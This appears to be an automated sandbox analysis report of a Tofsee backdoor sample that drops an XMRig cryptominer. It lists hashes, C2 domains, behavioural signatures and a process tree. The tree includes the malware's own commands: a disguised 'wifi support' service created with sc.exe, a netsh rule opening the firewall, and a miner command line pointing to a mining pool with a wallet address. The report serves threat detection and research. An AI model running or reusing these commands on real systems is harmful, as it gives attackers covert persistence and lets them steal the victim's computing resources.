Analysis

  • max time kernel
    159s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/09/2022, 17:00

General

  • Target

    d998da1962809369fe3d264130ac9bc4c3916fd63ef2ed6e797aac003b304598.exe

  • Size

    186KB

  • MD5

    8396cca808a01ea5121a1cf97dafbe58

  • SHA1

    a1368cdbf6cfc97b085c800563361bf4510254ae

  • SHA256

    d998da1962809369fe3d264130ac9bc4c3916fd63ef2ed6e797aac003b304598

  • SHA512

    6d5bdfe793d9f2426c4341b99c076098506a803eb7d63d9f4c28d4c483dd4ab6eaadf09b7a8ec413aceb671620ac0da8e7822e3397888912497caff6ded6fa59

  • SSDEEP

    3072:6aw0PvLXesOP55dt6pfMp38HCAUaWEBgDEs/PkD4n:vvLXO9tuVHDUaW

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 4 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d998da1962809369fe3d264130ac9bc4c3916fd63ef2ed6e797aac003b304598.exe
    "C:\Users\Admin\AppData\Local\Temp\d998da1962809369fe3d264130ac9bc4c3916fd63ef2ed6e797aac003b304598.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4684
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\etcpesay\
      2⤵
        PID:1440
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\purjcvrg.exe" C:\Windows\SysWOW64\etcpesay\
        2⤵
          PID:564
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create etcpesay binPath= "C:\Windows\SysWOW64\etcpesay\purjcvrg.exe /d\"C:\Users\Admin\AppData\Local\Temp\d998da1962809369fe3d264130ac9bc4c3916fd63ef2ed6e797aac003b304598.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4920
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description etcpesay "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4888
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start etcpesay
          2⤵
          • Launches sc.exe
          PID:2524
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1300
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4684 -s 796
          2⤵
          • Program crash
          PID:2500
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4684 -s 1036
          2⤵
          • Program crash
          PID:4732
      • C:\Windows\SysWOW64\etcpesay\purjcvrg.exe
        C:\Windows\SysWOW64\etcpesay\purjcvrg.exe /d"C:\Users\Admin\AppData\Local\Temp\d998da1962809369fe3d264130ac9bc4c3916fd63ef2ed6e797aac003b304598.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2348
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2816
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1036
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 512
          2⤵
          • Program crash
          PID:3500
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 532
          2⤵
          • Program crash
          PID:2228
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4684 -ip 4684
        1⤵
          PID:1560
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4684 -ip 4684
          1⤵
            PID:1420
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2348 -ip 2348
            1⤵
              PID:212
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2348 -ip 2348
              1⤵
                PID:3552

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\purjcvrg.exe

                      Filesize

                      13.8MB

                      MD5

                      75eb7f689ee134d4727cac25e61f836f

                      SHA1

                      ef699dbe536d6b00dff5ecc383a9db936533c520

                      SHA256

                      bd851e371818c123b71f145cabb32ec473d831693b302acbe0994f818bb643a7

                      SHA512

                      b57ac5c5a8296205cc4b85a1367ee74d04e96827d942ac035a4ce759b4af709302bd985eb76d385ba33cf8c92a4ad6c08e9bd2c605be42f50944a6cc34f208ce

                    • C:\Windows\SysWOW64\etcpesay\purjcvrg.exe

                      Filesize

                      13.8MB

                      MD5

                      75eb7f689ee134d4727cac25e61f836f

                      SHA1

                      ef699dbe536d6b00dff5ecc383a9db936533c520

                      SHA256

                      bd851e371818c123b71f145cabb32ec473d831693b302acbe0994f818bb643a7

                      SHA512

                      b57ac5c5a8296205cc4b85a1367ee74d04e96827d942ac035a4ce759b4af709302bd985eb76d385ba33cf8c92a4ad6c08e9bd2c605be42f50944a6cc34f208ce

                    • memory/1036-176-0x0000000000400000-0x00000000004F1000-memory.dmp

                      Filesize

                      964KB

                    • memory/1036-171-0x0000000000400000-0x00000000004F1000-memory.dmp

                      Filesize

                      964KB

                    • memory/2348-148-0x00000000007D3000-0x00000000007E3000-memory.dmp

                      Filesize

                      64KB

                    • memory/2348-149-0x0000000000400000-0x0000000000588000-memory.dmp

                      Filesize

                      1.5MB

                    • memory/2816-152-0x0000000002800000-0x0000000002A0F000-memory.dmp

                      Filesize

                      2.1MB

                    • memory/2816-161-0x0000000001FF0000-0x0000000001FF5000-memory.dmp

                      Filesize

                      20KB

                    • memory/2816-167-0x0000000002DD0000-0x0000000002DD7000-memory.dmp

                      Filesize

                      28KB

                    • memory/2816-144-0x00000000009D0000-0x00000000009E5000-memory.dmp

                      Filesize

                      84KB

                    • memory/2816-150-0x00000000009D0000-0x00000000009E5000-memory.dmp

                      Filesize

                      84KB

                    • memory/2816-151-0x00000000009D0000-0x00000000009E5000-memory.dmp

                      Filesize

                      84KB

                    • memory/2816-164-0x0000000007780000-0x0000000007B8B000-memory.dmp

                      Filesize

                      4.0MB

                    • memory/2816-155-0x0000000000BF0000-0x0000000000BF6000-memory.dmp

                      Filesize

                      24KB

                    • memory/2816-158-0x0000000001F60000-0x0000000001F70000-memory.dmp

                      Filesize

                      64KB

                    • memory/4684-134-0x00000000022C0000-0x00000000022D3000-memory.dmp

                      Filesize

                      76KB

                    • memory/4684-133-0x00000000006A8000-0x00000000006B8000-memory.dmp

                      Filesize

                      64KB

                    • memory/4684-147-0x0000000000400000-0x0000000000588000-memory.dmp

                      Filesize

                      1.5MB

                    • memory/4684-135-0x0000000000400000-0x0000000000588000-memory.dmp

                      Filesize

                      1.5MB